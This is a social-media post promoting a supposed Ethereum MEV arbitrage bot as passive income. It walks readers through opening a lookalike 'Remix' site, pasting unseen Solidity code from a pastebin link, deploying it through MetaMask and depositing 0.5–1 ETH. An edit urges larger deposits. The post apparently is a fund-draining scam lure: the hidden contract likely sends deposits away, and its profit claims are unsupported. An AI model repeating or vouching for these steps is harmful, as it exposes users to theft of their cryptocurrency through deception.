x0Edward

#mev #ethereum #passiveincome Interested in cryptocurrency? It is imperative that you familirize yourself with MEV Bots. A MEV bot is an arbitrage tool that scans the Mempool for pending transactions on decentralized exchanges like Uniswap and PancakeSwap. It inserts our own transaction with a slightly higher gas fee, 1 Gwei higher than the transaction attempting to be entered. This places our transaction in between the pending one, ensuring ours is processed first and allowing us to profit from slippage differences. STEP-BY-STEP INSTRUCTIONS: ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 1)Download MetaMask: https://metamask.io/download ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 2)Access Remix Project Site (where we will code our bot): https://remixethereum-ide.github.io ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 3)Right click on the 'contracts' folder and create a new file. Rename it to 'Bot.sol' ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 4)Copy and Paste THIS code in the Remix Project we just created: Link to code: https://pastebin.com/raw/WVxtt40n ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 5)Access the 'Solidity Compiler' tab, select version '0.6.6' and then click 'Compile' ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 6)Move to the 'Deploy' tab, select 'Injected Web3' as the environment, and then click 'Deploy'. After the transaction is confirmed, it's your own BOT now with your own smart contract ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 7)Deposit funds (at least 0.5 ETH to prevent negating slippage) to your exact contract/bot address. This allows you to fund your bot. ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 8)After your transaction is confirmed, start the bot by clicking the 'start' button. Withdraw anytime by clicking 'withdrawal' Share your profits in the comments section below. Don’t forget to like and subscribe for more lucrative Web3 Solidity tutorials. 🚨 EDIT: I’ve received messages from people who didn't fund the contract enough to cover gas fees and possible burn fees. The bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with 0.4 ETH or less and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit. I suggest that you fund the contract with around 0.5 - 1 ETH just to make sure that won't happen. #ethereum #mev #passiveincome #defi